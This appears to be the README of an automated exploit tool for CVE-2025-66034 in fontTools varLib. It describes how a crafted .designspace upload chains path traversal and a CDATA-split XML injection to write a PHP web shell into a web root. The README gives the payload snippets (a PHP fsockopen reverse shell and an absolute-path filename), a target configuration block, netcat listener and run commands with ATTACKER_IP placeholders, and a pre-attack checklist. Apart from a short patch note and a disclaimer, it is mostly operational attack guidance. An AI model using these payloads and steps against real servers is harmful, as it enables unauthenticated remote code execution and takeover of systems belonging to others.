
Automated exploit for CVE-2025-66034, chaining path traversal and XML injection in fontTools varLib to achieve unauthenticated remote code execution via crafted .designspace file upload.
fontTools varLib — Arbitrary File Write + XML Injection → Remote Code Execution
CVE-2025-66034 is a vulnerability in the fontTools.varLib variable font generation pipeline. When a web application exposes this pipeline and accepts user-supplied .designspace files, two weaknesses chain together to achieve unauthenticated remote code execution.
font_varlib.py automates the full exploit chain — font generation, payload crafting, upload, and reverse shell delivery.
Attacker crafts malicious .designspace
│
├── <variable-font filename="/var/www/html/files/shell.php">
│ └── PATH TRAVERSAL
│ os.path.join(output_dir, absolute_path)
│ → output_dir discarded → write to web root
│
└── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
└── XML INJECTION
CDATA split embeds raw PHP
into the output font binary
│
▼
fontTools.varLib.main() processes file server-side
│
▼
shell.php written to web-accessible directory
│
▼
GET /files/shell.php → PHP executes → reverse shell callback
│
▼
RCE as www-data
Python: 3.9+
Dependencies:
pip install fonttools requests
System:
nc (netcat) — required for auto listener mode (--no-listen skips this)
git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests
Before running, open font_varlib.py and update the config block at the top of the file to match your target. Every value has an inline comment explaining what it is and how to find the correct value.
# ══════════════════════════════════════════════════════════════════════════════
# DEFAULTS
# Change these to match your target before running.
# All values can also be overridden at runtime via CLI flags — see --help.
# ══════════════════════════════════════════════════════════════════════════════
# Base URL of the upload host (the site that accepts the .designspace)
UPLOAD_HOST = "http://test.com"
# Path on the upload host that processes the multipart form POST
# Confirm with Burp — look for the POST after clicking the generate button
UPLOAD_ENDPOINT = "/tools/variable-font-generator/process"
# Absolute filesystem path on the server where output files are written
# Must be web-accessible so the shell can be triggered via HTTP
WEBROOT = "/var/www/test.com/public/files"
# Base URL used to fetch/trigger the written shell file
# Maps to WEBROOT on disk
SHELL_HOST = "http://testing.test.com/files"
# Multipart form field names — confirm with Burp before running
# If upload silently fails (HTTP 200 but no shell), wrong field names are the cause
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS = "masters"
# Shell filename prefix — random suffix appended at runtime
SHELL_PREFIX = "f0nt_"
# Length of random suffix — longer = harder to guess
SHELL_SUFFIX_LEN = 8
Tip: Intercept a legitimate upload request in Burp Suite to confirm
UPLOAD_ENDPOINTand the exact multipart field names before running. A mismatch in field names causes a silent failure — the server returns HTTP 200 but no shell is written.
python3 font_varlib.py --ip <ATTACKER_IP> --port <PORT>
# Terminal 1 — start your listener
nc -lvnp 4444
# Terminal 2 — run exploit without auto listener
python3 font_varlib.py --ip <ATTACKER_IP> --port 4444 --no-listen
python3 font_varlib.py \
--ip 10.10.14.5 \
--port 4444 \
--upload http://target.htb/tools/variable-font-generator/process \
--webroot /var/www/html/files \
--shell http://target.htb/files
Two minimal but structurally valid .ttf source files are generated programmatically using fontTools.FontBuilder. varLib requires at least two axis masters to process a variable font — these satisfy that requirement without needing real font files on disk.
A malicious .designspace XML file is constructed embedding both attack primitives:
Primitive 1 — XML Injection via CDATA split:
<labelname xml:lang="en">
<![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>
The sequence ]]]]><![CDATA[> terminates the current CDATA block and immediately opens a new one. The XML parser processes this as valid markup, but varLib serializes the content verbatim into the output file — embedding raw PHP into the font binary.
Primitive 2 — Path Traversal via filename attribute:
<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">
varLib constructs the output path as:
output_path = os.path.join(output_dir, filename)
When filename is an absolute path, Python's os.path.join() discards output_dir entirely. No sanitization is applied in affected versions.
The .designspace and both .ttf files are sent as a multipart POST to the target's font generation endpoint using field names confirmed from Burp.
An HTTP GET to the written .php file executes the reverse shell, which connects back to the attacker's nc listener via fsockopen + proc_open — no curl, wget, or Python required on the target.
fontTools/varLib/__init__.py (affected versions):
filename = vf.filename # attacker-controlled, unsanitised
output_path = os.path.join(output_dir, filename) # path traversal via absolute path
vf.save(output_path) # arbitrary file write
Patch in 4.60.2 — enforces os.path.basename() on filename before constructing output_path, stripping all path traversal sequences.
Before running, confirm all of the following:
[ ] fonttools version on target is >= 4.33.0 and < 4.60.2
[ ] Target accepts .designspace + .ttf file uploads
[ ] Backend calls fontTools.varLib.main() on the uploaded .designspace
[ ] Upload form field names confirmed with Burp (designspace + masters)
[ ] WEBROOT is web-accessible from outside
[ ] WEBROOT is writable by the web process (www-data or equivalent)
[ ] SHELL_HOST (--shell) is reachable from your machine
[ ] Target hostname are in /etc/hosts
| Environment | fonttools Version | Result |
|---|---|---|
| Ubuntu 22.04 / Python 3.11 | 4.59.0 | ✓ Confirmed |
This tool is provided for educational and authorized security research purposes only.
Do not use against any system you do not own or have explicit written permission to test. The author assumes no liability for misuse or any damage caused by this software.
| Field | Detail |
|---|
| CVE ID | CVE-2025-66034 |
| GHSA | GHSA-768j-98cg-p3fv |
| Package | fonttools (pip) |
| Affected Range | >= 4.33.0, < 4.60.2 |
| Fixed In | 4.60.2 |
| Severity | Moderate (CVSS 6.3) |
| Attack Vector | Local (requires file upload to target) |
| Privileges Required | None |
| User Interaction | Required (upload trigger) |
| # | Primitive | CWE | Root Cause |
|---|
| 1 | Path Traversal | CWE-22 | filename attribute in .designspace passed directly to os.path.join() without sanitization — absolute paths discard the intended output directory entirely |
| 2 | XML Injection | CWE-91 | <labelname> CDATA sections allow a split sequence (]]]]><![CDATA[>) to smuggle raw PHP past the XML parser into the written output file |
| Argument | Required | Default | Description |
|---|
--ip | ✓ | — | Attacker listener IP |
--port | ✓ | — | Attacker listener port |
--upload | UPLOAD_HOST + UPLOAD_ENDPOINT | Upload endpoint (POST) | |
--webroot | WEBROOT | Server-side filesystem write path (must be web-accessible) | |
--shell | SHELL_HOST | Base URL used to trigger the written shell | |
--no-listen | false | Skip auto nc listener — trigger only |
| Resource | Link |
|---|
| NVD — CVE-2025-66034 | https://nvd.nist.gov/vuln/detail/CVE-2025-66034 |
| fontTools Security Advisory | https://github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv |
| Patch Commit — a696d5b | https://github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32 |
| fontTools Project | https://github.com/fonttools/fonttools |